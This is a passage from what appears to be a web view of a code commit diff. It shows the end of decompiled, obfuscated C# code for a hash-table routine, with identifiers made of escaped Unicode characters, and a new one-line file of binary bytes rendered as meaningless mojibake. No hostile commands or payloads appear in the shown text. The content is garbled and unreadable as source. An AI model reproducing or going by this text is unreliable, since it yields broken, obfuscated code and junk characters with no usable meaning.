if (num2 == _param1 || flag)
|
||||
{
|
||||
objArray[index].\u0003 = _param2;
|
||||
if (!flag)
|
||||
return;
|
||||
objArray[index].\u0002 = _param1;
|
||||
++this.\u0003;
|
||||
if (this.\u0003 <= num1)
|
||||
return;
|
||||
this.\u0002();
|
||||
return;
|
||||
}
|
||||
++index;
|
||||
}
|
||||
while (index < length);
|
||||
index = 0;
|
||||
}
|
||||
}
|
||||
|
||||
private struct \u0002
|
||||
{
|
||||
public int \u0002;
|
||||
public string \u0003;
|
||||
}
|
||||
}
|
||||
|
||||
private enum \u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002\u2009\u200A\u2002
|
||||
{
|
||||
}
|
||||
}
|
||||
+1
@@ -0,0 +1 @@
|
||||
ƒ—{éAãR¬QÂ[v{Ãr‚ØVA ‹Ô,‰GBþ t—J8Z,¢ g6j©�A¬QÂ[gcr®gãws¿38_1oÆQÂ[/"igH£‹*MÈÈ?ÚÓʤÓQÂ[™"OcË/Öê zÄxÚÅäQÂ[Ì3ge´œtóQÂ[B™ûR°"P‡½^6`XQÂ[|+>œaÞi{óQÂ[µÙ·ÑYä†k·-.´;b!QÂ[0%Ê"
|
||||
Reference in New Issue
Block a user